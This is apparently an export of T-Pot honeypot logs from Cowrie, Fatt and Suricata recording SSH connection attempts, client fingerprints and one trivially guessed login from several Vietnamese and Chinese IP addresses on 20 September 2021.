20755	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:08.331795+03	2021-09-20 14:15:02.780614+03	{"_id": "FgXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "89aa45db4231", "@version": "1", "duration": 2.6898436546325684, "timestamp": "2021-09-20T11:06:08.331795Z", "@timestamp": "2021-09-20T11:06:08.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20756	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:08.400202+03	2021-09-20 14:15:02.781613+03	{"_id": "FwXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "93a2eacc7d8b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:06:08.400202Z", "@timestamp": "2021-09-20T11:06:08.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20757	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:08.675643+03	2021-09-20 14:15:02.783613+03	{"_id": "HgXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52094, "dest_port": 22, "timestamp": "2021-09-20T11:06:08.675643", "@timestamp": "2021-09-20T11:06:08.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20758	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.126432+03	2021-09-20 14:15:02.784614+03	{"_id": "HwXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.success", "message": "login attempt [aaron/aaron] succeeded", "session": "5bd8d49653e9", "@version": "1", "password": "aaron", "username": "aaron", "timestamp": "2021-09-20T11:06:08.126432Z", "@timestamp": "2021-09-20T11:06:08.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20759	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:08.201237+03	2021-09-20 14:15:02.785614+03	{"_id": "KgXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b6e7c28d9c02", "@version": "1", "duration": 2.6247398853302, "timestamp": "2021-09-20T11:06:08.201237Z", "@timestamp": "2021-09-20T11:06:08.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20760	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:08.675888+03	2021-09-20 14:15:02.786633+03	{"_id": "IQXiAnwBvYTbRNuEefvs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eede082e62d5", "@version": "1", "timestamp": "2021-09-20T11:06:08.675888Z", "@timestamp": "2021-09-20T11:06:08.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20761	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:09.442587+03	2021-09-20 14:15:02.788613+03	{"_id": "LwXiAnwBvYTbRNuEfPu6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1573198925699064, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41058, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.442587Z", "@timestamp": "2021-09-20T11:06:09.442Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20762	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:09.567051+03	2021-09-20 14:15:02.790613+03	{"_id": "LgXiAnwBvYTbRNuEfPu6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1310888093111008, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44104, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.567051Z", "@timestamp": "2021-09-20T11:06:09.567Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20763	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.574716+03	2021-09-20 14:15:02.791613+03	{"_id": "MwXiAnwBvYTbRNuEffvT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ad80d8e088f0", "@version": "1", "timestamp": "2021-09-20T11:06:09.574716Z", "@timestamp": "2021-09-20T11:06:09.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20764	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.29493+03	2021-09-20 14:15:02.792612+03	{"_id": "NgXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ad80d8e088f0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:09.294930Z", "@timestamp": "2021-09-20T11:06:09.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20765	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:09.45227+03	2021-09-20 14:15:02.794612+03	{"_id": "NwXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "09c97ad1b2cd", "@version": "1", "timestamp": "2021-09-20T11:06:09.452270Z", "@timestamp": "2021-09-20T11:06:09.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
